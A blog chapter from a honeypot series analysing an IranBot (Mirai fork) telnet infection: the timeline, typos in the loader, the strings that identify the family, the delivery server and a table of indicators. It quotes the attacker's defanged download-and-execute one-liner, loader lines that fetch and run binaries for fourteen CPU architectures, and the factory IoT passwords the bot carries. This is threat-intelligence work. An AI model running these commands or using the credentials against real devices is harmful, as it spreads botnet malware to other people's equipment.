IranBot · Chapter 21
Introduced by its enemy
An automated scanner found the honeypot's telnet and, eighteen seconds later, there was a binary inside. The password was «telnet». The loader it dropped comes with two operator typos, one of which breaks an entire infection. And when I finally put a name to the family —IranBot, a Mirai fork with a public dossier— it turned out that name had been written on this blog since August: a rival bot had put it there, in the list of competitors it uninstalls on arrival.
The infection fits in one line, because it lasted under twenty seconds and holds no mystery at all: factory password, a script, fourteen binaries. The interesting part came afterwards, when I went to put a name to it.
Because when I finally knew what it was called, it turned out that name had been written on this blog since August. It didn't put it there. A rival bug did, eighteen days earlier, while trying to evict it from a phone they both wanted.
01Under twenty seconds
There was no courtship. An IP —176.65.139.206— looked in on the honeypot's Telnet on the morning of 10 September and, in fifteen seconds, opened seven connections in a row. It wasn't its first time past here: eleven days earlier it had called the honeypot's SSH, held on for four seconds and left without trying anything.
- 00:00First contact. Opens and closes without saying a word. And again.
- 00:05Third connection, and this one does try: root / icatch99. Fails. It's a fixed credential on LILIN recorders, which entered the IoT botnet repertoire with the 2020 LILIN 0-day.
- 00:16Seventh connection, and this one gets in. Username telnet, password telnet.
- 00:18Pastes the infection command and the binary is already inside.
Eighteen seconds from the first packet to the malware downloaded. It's an automated scanner sweeping services —SSH in August, telnet now—: it found an open port, tried what it had to try and ran its script. It didn't even push hard: of the seven connections, only two got as far as typing a password. Nobody was watching.
The command, exactly as it arrived — all on one line:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://176.65.139[.]206/cat.sh
chmod cat.sh
sh cat.shThat string of cds at the start is a Mirai house mark: it tries directories one after another until it finds one it can write to, because on a cheap router /tmp may not exist, may be full, or may be read-only. What's less of a house mark is that chmod cat.sh without saying which permissions. chmod needs a mode and they don't pass one, so the command returns an error. It doesn't matter, because they launch the script with sh, which needs no execute permission — and that's precisely why the typo has been sitting there who knows how long without anyone noticing. Hold on to it, it isn't the only one.
02A loader with two typos
cat.sh weighs 1,903 bytes and is as simple as it gets: fourteen download lines, one per CPU architecture.
wget hxxp://176.65.139[.]206/iran.x86_64 -O x86_64 || curl … ; chmod 777 x86_64; ./x86_64 catloader;
wget hxxp://176.65.139[.]206/iran.mips -O mips || curl … ; chmod 777 mips; ./mips catloader;
# … and so on with: aarch64 · m68k · mipsel · powerpc · sparc · sh4 · arc
# i486 · armv4l · armv5l · armv6l · armv7l (fourteen in total)The usual shotgun: fire all fourteen and let whichever one matches the victim's CPU start up; the other thirteen fail — and one didn't even get downloaded. It tries wget and, failing that, curl — belt and braces, like Sysorbit's stubborn cascade. And it launches each binary with an argument, catloader, which is the campaign tag: the bot will report it back to base so they know which route it came in by. In Cling that tag was telnet; here it's catloader.
And now the second typo, which does do damage:
wget …/iran.aarch64 -O aarch64 ; chmod 777 aarch64; ./aarch64catloader;
↑ the space is missingThey swallowed the space between the file and its argument. So on any device with an aarch64 CPU —and there are plenty: modern routers, cameras, Android TV boxes— the bug downloads, gets its permissions… and then tries to run a file called aarch64catloader that doesn't exist. That infection never starts. The operator is losing an entire architecture over one space.
That's the observation: one of the fourteen wasn't available at the time of the attack. And separately, the reading, which comes back at the end of the chapter: it fits with them handling the directory live that morning, while their bot was infecting.
03The prints, and a name
First came the usual: take the hash of the 64-bit binary and ask VirusTotal. Twenty-three engines out of seventy-five called it bad the day I looked, and most said the same thing: trojan.mirai, gafgyt. The rest, generics — «malicious», «suspicious ELF». It wasn't on MalwareBazaar: nobody had ever uploaded it.
At that point the reflex is to file it as «another Mirai» and move on. But whoever compiles a fork leaves prints of their own, and those are specific. I pulled the strings out of the binary:
Not a mirai at all # the author's joke
Death to israel # a slogan, typed by hand
!selfrep telnet !selfrep realtek # the two self-replication orders
selfrep.realtek # how it tags itself when it spreads alone
176.65.139.206
psize= srcport= httpmode= gport= gre_proto= msg= usleep=
root · user · postgres · xc3511 · 888888 · default · password · 12345
5up · klv1234 · anko · 7ujMko0admin · ikwb · dreamboxThat Not a mirai at all is the author needling whoever opens the file. And it's exactly what gives it away, because it's documented: Nokia Deepfield published a dossier on this family, and there they are — the joke, the slogan, the seven exact parameters, the two self-replication orders, the selfrep.realtek marker, and even the delivery naming convention: iran.<architecture>, which is literally what my cat.sh downloads.
They all match. I checked it in two different binaries from the same package as well, the x86-64 and the m68k, which carry exactly the same strings. It isn't a generic Mirai: it's a specific fork, with a name of its own and a public dossier. It's called IranBot.
What did amuse me was going back to VirusTotal with the name in hand: of the twenty-three engines that detect it, not one calls it «IranBot». They all file it as run-of-the-mill Mirai or Gafgyt. Its author wrote inside the binary that the thing «is not a mirai at all», and twenty-three antivirus engines have replied that it is.
04It was already here
With the name in hand I did what I always do before claiming anything: check whether it rang a bell. And I searched inside my own blog too, without any hope at all.
It's there. In chapter 7, published on 23 August — eighteen days before this came in over telnet.
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null ← here
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
# … and seven moreThat was Sysorbit, an Android bot that came in through the debug cable. The first thing it does on arrival is evict the competition: it walks a list of rival bots and uninstalls them one by one to keep the device to itself. The same war between criminals I'd already seen with RedTail, but on Android.
And on that list of enemies was the name I had just worked out on my own, eighteen days later. I had it published and didn't know.
There's a second coincidence, and this one can be measured. Sysorbit's command centre lived at 176.65.139.248. The one that attacked me now is 176.65.139.206. The same block of 256 addresses.
I've written about that block before, in chapter 11, with a precision that comes in handy now: the range is registered to PFCLOUD-NET, but the one announcing it to the internet is a different company, AS219502 · Storm Industries LLC. Two things that are very easy to confuse, and depending which one you ask about you get an answer or nothing at all.
That said, sharing a block is not sharing an owner. A /24 from a provider like that carries tenants with nothing to do with each other, and I've already had to verify that by enumerating one. All this coincidence tells us is where this kind of hosting gets bought — and the answer has been the same address for quite a few chapters now.
05The box empties out the same day
A couple of hours after the attack I went back to look at the server everything had been downloaded from. I asked for the root directory index:
Index of /
[ICO] Name Last modified Size Description
────────────────────────────────────────────────────────
Apache/2.4.58 (Ubuntu) Server at 176.65.139.206 Port 80Empty. No cat.sh, not a single iran.*. It could be that they'd only switched off the directory listing and the files were still there, so I asked for one by its exact name: 404. Genuinely deleted.
Shodan records the size of that index page every time it goes past, and that number rises and falls with how many files are listed. Its history tells the story on its own:
30 August 746 B # one folder, bins/
9 September 556 B # they empty it
10 September 932 B # bins/ again, and a script — but NOT mine
──────────────────────────────────────────────
10 September empty # this one isn't Shodan: it's my own checkThat 932 made me doubt, so I went to look at exactly what it listed. No cat.sh and not a single iran.*: what Shodan saw that night was the usual folder and a script from a different campaign. And the arithmetic works to the byte — on top of the empty 556, one folder row and one file row add up to exactly those 932.
That directory gets handled daily. And my files lived inside a window shorter than I thought: they weren't there yet when Shodan went past, and they were gone by the time I looked. Nor was I the first to have one: the sample was already on VirusTotal a good while before it reached my honeypot. It also fits the 404 the honeypot saved during the attack itself: even then, one of the fourteen architectures was missing.
And there's something else I wasn't expecting, and it's an absence. URLhaus —the public catalogue where malware-serving addresses get reported— has thirty-four from that same box, the most recent from 7 September. None is cat.sh. None is an iran.*. Nor is it on MalwareBazaar, where none of the five appears either. A record does exist —all five files reached VirusTotal that same night, with the iran.* names on them, so somebody else caught them too—. What doesn't exist is anyone who has told the story: not a reported URL, not an entry in the dossier's indicators, not an analysis. Of this wave, as far as I've been able to find, there is no public analysis but this chapter.
And who is the box? Passive OSINT, third-party databases, without touching it:
| Item | Value |
|---|---|
| Abuse reports | 100 % abuse confidence · 560 reports (AbuseIPDB, 10 Sep 2026) |
| Seen since | 29 August (Shodan) |
| Open ports | 22 · 80 · 8098 |
| Tags | open-dir · scanner |
| Range | 176.65.139.0/24 · registered to PFCLOUD-NET · announced by AS219502 · Storm Industries LLC (NL) |
06The specimen
The honeypot saved six files: the loader script, four binaries and the 404. Of the fourteen architectures, the honeypot got as far as requesting five before the session was cut — four binaries and a 404. The other nine were never requested.
IranBot · Mirai fork VirusTotal calls it trojan.mirai — it has a name of its own
- Size
- 164,272 B (x86-64) · 182,212 B (m68k) · 209,344 B (mips) · 211,616 B (mipsel)
- Delivery
- 14-architecture shotgun over Telnet · telnet/telnet
- Campaign tag
- catloader (the argument it's launched with)
07Indicators (IOCs)
From the infection. The ones from inside the bug —starting with who it calls— are in the next chapter.
| Type | Value |
|---|---|
| Attacking IP and delivery server | 176.65.139.206 (:80 Apache · :22 SSH) · AS219502 Storm Industries LLC |
| Delivery URLs | hxxp://176.65.139[.]206/cat.sh hxxp://176.65.139[.]206/iran.<arch> (14 architectures) hxxp://176.65.139[.]206/telnet.sh · hxxp://176.65.139[.]206/mips · hxxp://176.65.139[.]206/mipsel (the bot builds all three at runtime: it carries the path inside, and takes the host from the same address it uses for command) |
| Credentials used | telnet/telnet (success) · root/icatch99 (failure) |
| Infection chain | cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<ip>/cat.sh; chmod cat.sh; sh cat.sh; |
| Campaign tag (argv) | catloader |
| Fixed User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 — used by its httpmode= method |
| Ports it carries hardcoded | 2000 (command) · 9034/udp (the Realtek one) · 23 (its telnet scanner) |
| Family markers (strings) | Not a mirai at all · Death to israel · selfrep.realtek |
| Orders and parameters | !selfrep telnet · !selfrep realtek · psize= srcport= httpmode= gport= gre_proto= msg= usleep= |
| Self-replication vector | telnet with factory passwords + Realtek Jungle SDK (CVE-2021-35394, UDP 9034) — when the operator orders it, not on its own |
| SHA-256 · loader | 6a4503094d0031ae36c8b27cc36696087831901dfa421675ccb7509c9d7e58da (cat.sh, 1,903 B) |
| SHA-256 · binaries | f35bf04216d14180f9d28f6770a5722557f4a979d746f4ef664419363d0b755b (x86-64) 3f21d6f8621e38d2bc923dfaaf0861887c6ca0def522ae4dea0f9b840bf1d39a (m68k) 064d93495573a536517fa7ddf9fb6d3c4cddd4c7fdc61d4f90d12629cad690e6 (mips) ce452891a6e017f2523f8c7005df1180003ab3e96916774efb432bcc2a8e657f (mipsel) |
The hashes expire the moment the operator recompiles, and he does. What holds is the rest of the table: catloader, Not a mirai at all and the chain of cds are still there in the next build.
To be continued — with a hole the size of a house. I have the bug, I have who delivered it and I have its name. What I don't have is who it calls. I looked for its command centre's address hidden inside the binary and didn't find it: none of the command centres the public dossier documents, not a domain in plain text, not the number anywhere. Four routes, and none led anywhere — until it dawned on me that what I needed was another binary, and not mine. Spoiling the ending: the answer was in the dump up above, and I walked right past it. In Chapter 22. 🍯
Comments